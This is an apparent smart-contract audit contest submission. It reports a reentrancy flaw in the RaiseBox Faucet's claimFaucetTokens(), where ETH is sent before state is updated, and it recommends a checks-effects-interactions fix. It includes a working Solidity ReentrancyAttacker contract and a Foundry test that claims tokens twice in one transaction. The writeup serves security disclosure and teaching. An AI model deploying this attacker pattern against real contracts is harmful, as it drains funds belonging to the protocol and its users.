Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy Risk via Low-Level ETH Transfer in claimFaucetTokens()

Root + Impact

Description

In claimFaucetTokens(), the faucet sends ETH to first-time claimers using a low-level call:

(bool success, ) = faucetClaimer.call{ value: sepEthAmountToDrip }("");

Problem:

  • The external call is made before updating all critical state variables (e.g., lastClaimTime and dailyClaimCount).

  • A malicious contract can reenter claimFaucetTokens() during the ETH transfer and claim tokens two times before the state is updated. Why is it exaclty 2 times, explanind in the POC section below.

if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
...
// @> extenral call before state updates
(bool success, ) = faucetClaimer.call{ value: sepEthAmountToDrip }("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
}
...
// Effects
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
_transfer(address(this), faucetClaimer, faucetDrip);

Risk: High

Likelihood: High

Factor Observation Likelihood Influence
Access Level Publicly callable by anyone High
Exploit Complexity Low — can use a reentrant smart contract High
Detectability Visible during faucet use Medium
Impact Loss of funds and tokens High

Impact: High

Impact Area Description
Funds Malicious user can drain tokens from the faucet two times per cooldown period.
Security Classic reentrancy vulnerability; could compromise the faucet’s integrity.
Fairness Legitimate users may be blocked or receive fewer tokens.
Reputation Exploit could damage trust in the protocol.

Proof of Concept

Why it’s limited to two drips?

  1. Outer call (first drip)

    • On the first claimFaucetTokens() call the contract sets hasClaimedEth[msg.sender] = true (for first-time claimers) before doing the external call{value: ...}("").

    • Then the contract calls the attacker’s receive() while the outer invocation is still executing.

  2. First nested call (second drip)

    • Inside receive(), a nested claimFaucetTokens() call runs. Because lastClaimTime and dailyClaimCount are still not updated by the outer call yet, the nested call passes the cooldown and limit checks.

    • hasClaimedEth is already true, so the nested call does not perform another ETH .call{value:...} but it does perform the token _transfer and then executes its own state updates — including setting lastClaimTime[msg.sender] = block.timestamp.

  3. Any further nested attempts (third and beyond) fail

    • After the first nested call completes, lastClaimTime is now set. Any further nested call from the same receive() will hit: if (block.timestamp < lastClaimTime[msg.sender] + CLAIM_COOLDOWN) revert ClaimCooldownOn(); and thus revert. So you get no third successful token drip.

function test_reentrancy_allows_multiple_token_claims_in_one_tx() public {
address attackerEOA = address(0xCAFE);
// Deploy attacker contract from attackerEOA
vm.prank(attackerEOA);
ReentrancyAttacker attacker = new ReentrancyAttacker(address(raiseBoxFaucet),5); // try up to 5 reentries
uint256 beforeFaucetBalance = raiseBoxFaucet.getFaucetTotalSupply();
console.log("beforeFaucetBalance:", beforeFaucetBalance);
uint256 attackerTokenBalanceBefore = raiseBoxFaucet.getBalance(address(attacker));
console.log("attacker tokens before:", attackerTokenBalanceBefore);
// Run the attack: call attacker.attack() from attackerEOA
vm.prank(attackerEOA);
attacker.attack();
// After the attack: attacker reentered multiple times and should hold > 1 * faucetDrip tokens
uint256 attackerTokenBalanceAfter = raiseBoxFaucet.getBalance(address(attacker));
console.log("attacker tokens after:", attackerTokenBalanceAfter);
// Faucet's contract token balance should have reduced accordingly (>= multiple drips)
uint256 faucetBalanceAfter = raiseBoxFaucet.getFaucetTotalSupply();
console.log("faucet tokens after:", faucetBalanceAfter);
// Reentrancy count recorded in attacker should be > 0
uint256 reentries = attacker.reentryCount();
console.log("reentry count:", reentries);
}
}
contract ReentrancyAttacker {
RaiseBoxFaucet public faucet;
address public owner;
uint256 public reentryCount;
uint256 public maxReentries;
constructor(address _faucet, uint256 _maxReentries) {
faucet = RaiseBoxFaucet(payable(_faucet));
owner = msg.sender;
maxReentries = _maxReentries;
}
// Accept ETH and attempt to reenter the faucet while conditions allow.
receive() external payable {
// try to reenter up to N times (bounded by gas)
for (uint i = 0; i < maxReentries; i++) {
reentryCount++;
console.log("ges left:", gasleft());
// reenter
try faucet.claimFaucetTokens() {} catch {
break;
}
}
console.log("ges final left:", gasleft());
}
function attack() external {
// Trigger the first claim (this will lead to receive being called on ETH transfer and reentries).
faucet.claimFaucetTokens();
}
}

Recommended Mitigation

Nevertheless, this is still a real vulnerability: even one extra nested drip is unacceptable. Fix it by applying Checks → Effects → Interactions

Move the external call after updating all critical state variables

Optionally, add nonReentrant modifier from OpenZeppelin’s ReentrancyGuard.

// Effects first
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
// Interactions last
_transfer(address(this), faucetClaimer, faucetDrip);
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
...
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success, ) = faucetClaimer.call{ value: sepEthAmountToDrip }("");
require(success, "Eth transfer failed");
...
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 16 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.